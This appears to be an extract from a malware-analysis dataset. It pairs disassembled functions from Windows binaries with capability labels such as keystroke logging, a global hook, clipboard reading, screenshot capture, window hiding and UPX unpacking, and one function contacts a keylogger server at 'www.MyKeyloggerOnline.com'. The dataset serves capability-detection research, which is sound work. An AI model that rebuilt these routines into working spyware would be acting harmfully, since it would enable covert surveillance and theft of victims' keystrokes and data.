joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43e9bc
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x4609c4]
cmp byte [eax + 0xc], 0
je 0x43eb29
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x43eb22
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x461b94], 0
jne 0x43ea10
push 0x43eb30
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x43eb38
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x461b94], eax
cmp dword [0x45fb8c], 0
jne 0x43eb0b
push 0x43eb48
call sub.kernel32.dll_LoadLibraryA
mov dword [0x45fb8c], eax
cmp dword [0x45fb8c], 0
je 0x43eb0b
push 0x43eb54
mov eax, dword [0x45fb8c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x461b98], eax
push 0x43eb64
mov eax, dword [0x45fb8c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x461b9c], eax
push 0x43eb78
mov eax, dword [0x45fb8c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x461ba0], eax
push 0x43eb90
mov eax, dword [0x45fb8c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x461ba4], eax
push 0x43eba8
mov eax, dword [0x45fb8c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x461ba8], eax
push 0x43ebbc
mov eax, dword [0x45fb8c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x461bac], eax
push 0x43ebd4
mov eax, dword [0x45fb8c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x461bb0], eax
push 0x43ebec
mov eax, dword [0x45fb8c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x461bb4], eax
push 0x43ec08
mov eax, dword [0x45fb8c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x461bb8], eax
push 0x43ec14
mov eax, dword [0x45fb8c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x461bbc], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43eb29
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x4429b4
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00403ef0
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x442a03
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404160
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x44a140
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44a190]
test si, 4
je 0x44a154
or bl, 1
test si, 8
je 0x44a15e
or bl, 4
test si, 1
je 0x44a168
or bl, 8
test si, 2
je 0x44a172
or bl, 0x10
test si, 0x10
je 0x44a17c
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44a18b
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x44a194
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44a1cc]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44a1ad
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44a1bc
or bl, 4
test esi, 0x20000000
je 0x44a1c7
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x450874
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x450886
add esp, 0xfffffff0
call fcn.00403440
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041a0dc
mov eax, dword [0x460524]
mov dword [eax + 4], ebx
mov dword [eax], 0x450c18
mov eax, dword [0x460534]
mov dword [eax + 4], ebx
mov dword [eax], 0x450c24
mov eax, ebx
call fcn.00450c30
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x411990]
call fcn.004030ec
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x411990]
call fcn.004030ec
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x411990]
call fcn.004030ec
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x411990]
call fcn.004030ec
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x411990]
call fcn.004030ec
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x44d04c
push eax
push 0
push 0
mov eax, dword [0x460720]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41bb30]
call fcn.0041d2a4
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41bb30]
call fcn.0041d2a4
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41bb30]
call fcn.0041d2a4
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00451050
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x450f2c
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x450f2c
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x450f2c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4509c3
call fcn.00403498
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x450d10
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x450ebb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x450e9c
mov dl, 1
mov eax, dword [0x411e64]
call fcn.004030ec
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00403ef0
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x450e8b
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0043ed1c
test al, al
je 0x450e7e
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x450ecc
lea eax, [ebp - 0x254]
call fcn.00408b14
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x450e7e
xor eax, eax
push ebp
push 0x450e77
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x450f04
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x450e60
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404160
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x450e60
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404160
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x450e7e
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x450d81
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00415dc4
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x450ec2
lea eax, [ebp - 0x260]
call fcn.00403ef0
ret

Function at 0x4517f0
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x461be0]
cmp byte [eax + 0xa5], 0
jne 0x451861
cmp dword [0x461bf8], 0
jne 0x451822
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x4517ac
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x461bf8], eax
cmp dword [0x461bf4], 0
jne 0x45183d
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x461bf4], eax
cmp dword [0x461bfc], 0
jne 0x451861
push esp
push 0
push 0
push 0x451750
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x461bfc], eax
pop edx
ret
Function at 0x451958
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x45196f
add esp, 0xfffffff0
call fcn.00403440
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041a0dc
mov eax, dword [0x460700]
cmp word [eax + 2], 0
jne 0x451997
mov eax, dword [0x460700]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00453030
mov eax, dword [0x460804]
cmp word [eax + 2], 0
jne 0x4519b1
mov eax, dword [0x460804]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00453228
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x411990]
call fcn.004030ec
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x411990]
call fcn.004030ec
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41c610]
call fcn.00423988
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x451b38
mov eax, dword [0x4605bc]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00423d58
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x4537c8
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x4605bc]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c3e8
test eax, eax
je 0x451aa6
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408508
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c410
test eax, eax
je 0x451aba
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404160
mov eax, dword [0x460404]
cmp byte [eax], 0
jne 0x451aee
mov eax, ebx
call fcn.00451c60
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.004539a4
mov eax, ebx
call fcn.00454368
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x451b2e
call fcn.00403498
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x451ee0
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x461be0]
cmp dword [eax + 0x30], 0
je 0x451f8a
cmp dword [ebx + 0x94], 0
jne 0x451f84
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x451e70
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x451f84
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x451f4a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x451f84
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413e30
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x451f59
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x452aec
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x452b21
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403fe0
jmp 0x452b2e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403f44
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x453b80
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x453bc1
mov eax, esi
call fcn.0043a348
test al, al
je 0x453bc1
mov eax, dword [ebx + 0x84]
call fcn.0043a044
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x453bc1
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043a044
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x489d00
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x53000]
push edi
jmp 0x489d1a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x489d21
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x489d10
mov eax, 1
add ebx, ebx
jne 0x489d33
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x489d44
jne 0x489d63
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x489d63
dec eax
add ebx, ebx
jne 0x489d50
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x489d28
add ebx, ebx
jne 0x489d5f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x489db5
xor ecx, ecx
sub eax, 3
jb 0x489d7b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x489dea
sar eax, 1
mov ebp, eax
jmp 0x489d86
add ebx, ebx
jne 0x489d86
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x489d54
inc ecx
add ebx, ebx
jne 0x489d94
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x489d54
add ebx, ebx
jne 0x489da1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x489d96
jne 0x489db2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x489d96
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x489dd4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x489dc6
jmp 0x489d16
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x489dd4
add edi, ecx
jmp 0x489d16
pop esi
mov edi, esi
mov ecx, 0x3132
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x489df2
cmp byte [edi], 0x19
jne 0x489df2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x489df7
lea edi, [esi + 0x86000]
mov eax, dword [edi]
or eax, eax
je 0x489e6f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8c1b4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8c2cc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x489e24
mov ecx, edi
jns 0x489e53
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8c2d0]
or eax, eax
je 0x489e69
mov dword [ebx], eax
add ebx, 4
jmp 0x489e41
call dword [esi + 0x8c2e0]
mov ebp, dword [esi + 0x8c2d4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x489ea3
sub esp, 0xffffff80
jmp 0x453cde
Function at 0x404f57
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x23c
mov eax, 0x40ba1c
call fcn.0040ae04
mov dword [ebp - 0x21c], ecx
mov eax, dword [ebp + 8]
xor edi, edi
mov esi, dword [0x4122d8]
inc edi
push 0xf0
movzx eax, ax
push eax
push esi
call dword [sym.imp.kernel32.dll_FindResourceW]
test eax, eax
je 0x4050e3
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
je 0x4050e3
push eax
call dword [sym.imp.kernel32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4050e3
movzx eax, word [esi]
xor ecx, ecx
cmp cx, ax
je 0x4050e3
mov ecx, dword [esi + 4]
mov dword [ebp - 0x220], eax
movzx eax, word [esi + 2]
add esi, 8
mov dword [ebp - 0x224], ecx
mov ecx, 0x403
cmp cx, ax
jne 0x405053
push 3
lea eax, [ebp - 0x110]
push esi
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x114], eax
call main
push dword [ebp - 0x114]
mov eax, dword [ebp - 0x220]
and dword [ebp - 4], 0
push 0
push 0x143
movzx eax, ax
push eax
mov eax, dword [ebp - 0x21c]
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
xor ecx, ecx
cmp eax, 0xffffffff
lea eax, [ebp - 0x110]
cmove edi, ecx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x114], eax
je 0x4050d5
push dword [ebp - 0x114]
call dword [sym.imp.MSVCR120.dll_free]
pop ecx
jmp 0x4050d5
mov ecx, 0x1234
cmp cx, ax
jne 0x4050d5
or dword [ebp - 0x244], 0xffffffff
lea eax, [ebp - 0x214]
push 3
push esi
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x248], 1
mov dword [ebp - 0x218], eax
call main
mov eax, dword [ebp - 0x218]
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x240], eax
cmp eax, ecx
je 0x4050a6
push eax
call dword [sym.imp.MSVCR120.dll_free]
pop ecx
lea eax, [ebp - 0x248]
push eax
mov eax, dword [ebp - 0x220]
push 0
push 0x40b
movzx eax, ax
push eax
mov eax, dword [ebp - 0x21c]
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
xor ecx, ecx
cmp eax, 0xffffffff
cmove edi, ecx
add esi, dword [ebp - 0x224]
test edi, edi
jne 0x404fb1
mov eax, edi
call fcn.0040adc2
ret 4

Function at 0x4058e4
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 0x10]
mov eax, esi
mov dword [ebp - 4], ecx
xor ecx, ecx
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call sub.MSVCR120.dll_void____cdecl_operator_new___unsigned_int_
add esi, esi
mov ebx, eax
push esi
push 0
push ebx
call sub.MSVCR120.dll_memset
add esp, 0x10
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.kernel32.dll_lstrcpyW]
push esi
push 0
push dword [ebp + 0xc]
call sub.MSVCR120.dll_memset
mov eax, dword [ebp - 4]
add esp, 0xc
add eax, 0x25c
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
push dword [ebp + 8]
push str.labels
call dword [sym.imp.kernel32.dll_GetPrivateProfileStringW]
push ebx
call sub.MSVCR120.dll_void___cdecl_operator_delete___void__
mov eax, dword [ebp + 0xc]
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40b1d6
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x40f5d0
call fcn.0040abf0
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
call dword [sym.imp.MSVCR120.dll___crtGetShowWindowMode]
movzx ebx, ax
mov dword [ebp - 4], esi
mov eax, dword fs:[0x18]
mov edx, dword [eax + 4]
mov edi, esi
mov esi, 0x412668
mov ecx, edx
xor eax, eax
lock cmpxchg dword [esi], ecx
test eax, eax
je 0x40b070
cmp eax, edx
jne 0x40b059
xor esi, esi
inc esi
mov edi, esi
jmp 0x40b073
xor esi, esi
inc esi
cmp dword [0x41266c], esi
jne 0x40b085
push 0x1f
call sub.MSVCR120.dll__amsg_exit
pop ecx
jmp 0x40b0c0
cmp dword [0x41266c], 0
jne 0x40b0ba
mov dword [0x41266c], esi
push 0x40c35c
push 0x40c34c
call sub.MSVCR120.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x40b0c0
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x40b1d0
mov dword [0x412314], esi
cmp dword [0x41266c], esi
jne 0x40b0e3
push 0x40c348
push 0x40c324
call sub.MSVCR120.dll__initterm
pop ecx
pop ecx
mov dword [0x41266c], 2
test edi, edi
jne 0x40b0f0
xor eax, eax
mov ecx, 0x412668
xchg dword [ecx], eax
cmp dword [0x412670], 0
je 0x40b114
push 0x412670
call main
pop ecx
test eax, eax
je 0x40b114
push 0
push 2
push 0
call dword [0x412670]
mov eax, dword [sym.imp.MSVCR120.dll__wcmdln]
mov ecx, dword [eax]
mov dword [ebp - 0x1c], ecx
push 0x20
pop esi
mov edx, dword [ebp - 0x20]
movzx eax, word [ecx]
cmp ax, si
ja 0x40b16d
test ax, ax
je 0x40b135
test edx, edx
jne 0x40b16d
movzx eax, word [ecx]
test ax, ax
je 0x40b14a
cmp ax, si
ja 0x40b14a
add ecx, 2
mov dword [ebp - 0x1c], ecx
jmp 0x40b135
push ebx
push ecx
push 0
push 0x400000
call main
mov dword [0x412318], eax
cmp dword [0x41231c], 0
jne 0x40b1b5
push eax
call dword [sym.imp.MSVCR120.dll_exit]
cmp eax, 0x22
jne 0x40b17e
xor eax, eax
test edx, edx
sete al
mov edx, eax
mov dword [ebp - 0x20], edx
add ecx, 2
mov dword [ebp - 0x1c], ecx
jmp 0x40b124
cmp dword [0x412314], 0
jne 0x40b1c9
call dword [sym.imp.MSVCR120.dll__cexit]
mov eax, dword [0x412318]
mov dword [ebp - 4], 0xfffffffe
call fcn.0040ac35
ret
call main
jmp 0x40b029
Function at 0x4015b0
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0
push 0
push 0
push 0
push str.Internet_Explorer
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 4], eax
cmp eax, 0
jne 0x4015dc
push 0x1388
call sub.kernel32.dll_Sleep
jmp 0x4015b6
push 0x7d000
push dword [0x4046e4]
call sub.kernel32.dll_RtlZeroMemory
push dword [ebp + 8]
push str.www.MyKeyloggerOnline.com
push str.http:__
push dword [0x4046e4]
push 3
call fcn.00402950
add esp, 0x14
push 0
push 0
push 0
push 0
push dword [0x4046e4]
push dword [ebp - 4]
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 8], eax
cmp eax, 0
jne 0x401633
push 0x1388
call sub.kernel32.dll_Sleep
jmp 0x4015dc
push 0x200
push dword [0x4046d8]
call sub.kernel32.dll_RtlZeroMemory
push 0x200
push dword [0x4046f4]
call sub.kernel32.dll_RtlZeroMemory
mov dword [0x40403f], 0x200
push 0
push 0x40403f
push dword [0x4046f4]
push 0x13
push dword [ebp - 8]
call sub.wininet.dll_HttpQueryInfoA
push 0x404033
push dword [0x4046f4]
call fcn.004028c0
test eax, eax
jne 0x4016a9
mov dword [0x40403f], 0x200
push 0
push 0x40403f
push dword [0x4046d8]
push 5
push dword [ebp - 8]
call sub.wininet.dll_HttpQueryInfoA
push dword [ebp - 8]
call sub.wininet.dll_InternetCloseHandle
push dword [ebp - 4]
call sub.wininet.dll_InternetCloseHandle
leave
ret 4

Function at 0x401a7c
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
pushal
push 0
call sub.user32.dll_OpenClipboard
cmp eax, 0
je 0x401af8
push 1
call sub.user32.dll_IsClipboardFormatAvailable
or eax, eax
je 0x401af3
push 1
call sub.user32.dll_GetClipboardData
cmp eax, 0
je 0x401af3
mov ebx, eax
push eax
call fcn.00402810
cmp eax, 0
je 0x401af3
mov esi, eax
add esi, 0x80
push esi
push 0x40
call sub.kernel32.dll_GlobalAlloc
mov edi, eax
push edi
push ebx
call fcn.00402920
mov ecx, dword [edi]
cmp ecx, dword [0x404019]
je 0x401aed
push 0x404031
push edi
push 0x40402f
push 3
call fcn.00401afa
add esp, 0x10
mov ecx, dword [edi]
mov dword [0x404019], ecx
push edi
call sub.kernel32.dll_GlobalFree
call sub.user32.dll_CloseClipboard
popal
ret
Function at 0x401fb6
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push edx
push ecx
call sub.user32.dll_GetForegroundWindow
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x2c]
call sub.user32.dll_GetWindowRect
or eax, eax
jne 0x401fdc
jmp 0x4020c1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 4], ecx
sub eax, ecx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xc], ecx
sub eax, ecx
mov dword [ebp - 0x10], eax
push 0
call sub.user32.dll_GetDC
or eax, eax
jne 0x40200a
jmp 0x4020c1
mov dword [ebp - 0x14], eax
push 0
call sub.gdi32.dll_CreateCompatibleDC
or eax, eax
jne 0x402029
push dword [ebp - 0x14]
push 0
call sub.user32.dll_ReleaseDC
jmp 0x4020c1
mov dword [ebp - 0x18], eax
push dword [ebp - 0x10]
push dword [ebp - 8]
push dword [ebp - 0x14]
call sub.gdi32.dll_CreateCompatibleBitmap
or eax, eax
jne 0x402054
push dword [ebp - 0x18]
call sub.gdi32.dll_DeleteDC
push dword [ebp - 0x14]
push 0
call sub.user32.dll_ReleaseDC
jmp 0x4020c1
mov dword [0x40448b], eax
push eax
push dword [ebp - 0x18]
call sub.gdi32.dll_SelectObject
push 0xcc0020
push dword [ebp - 0xc]
push dword [ebp - 4]
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push dword [ebp - 8]
push 0
push 0
push dword [ebp - 0x18]
call sub.gdi32.dll_BitBlt
or eax, eax
jne 0x4020a5
push dword [ebp - 0x18]
call sub.gdi32.dll_DeleteDC
push dword [ebp - 0x14]
push 0
call sub.user32.dll_ReleaseDC
push dword [0x40448b]
call sub.gdi32.dll_DeleteObject
jmp 0x4020c1
push dword [ebp - 0x18]
call sub.gdi32.dll_DeleteDC
push dword [ebp - 0x14]
push 0
call sub.user32.dll_ReleaseDC
mov eax, 1
pop ecx
pop edx
pop ebx
leave
ret
xor eax, eax
pop ecx
pop edx
pop ebx
leave
ret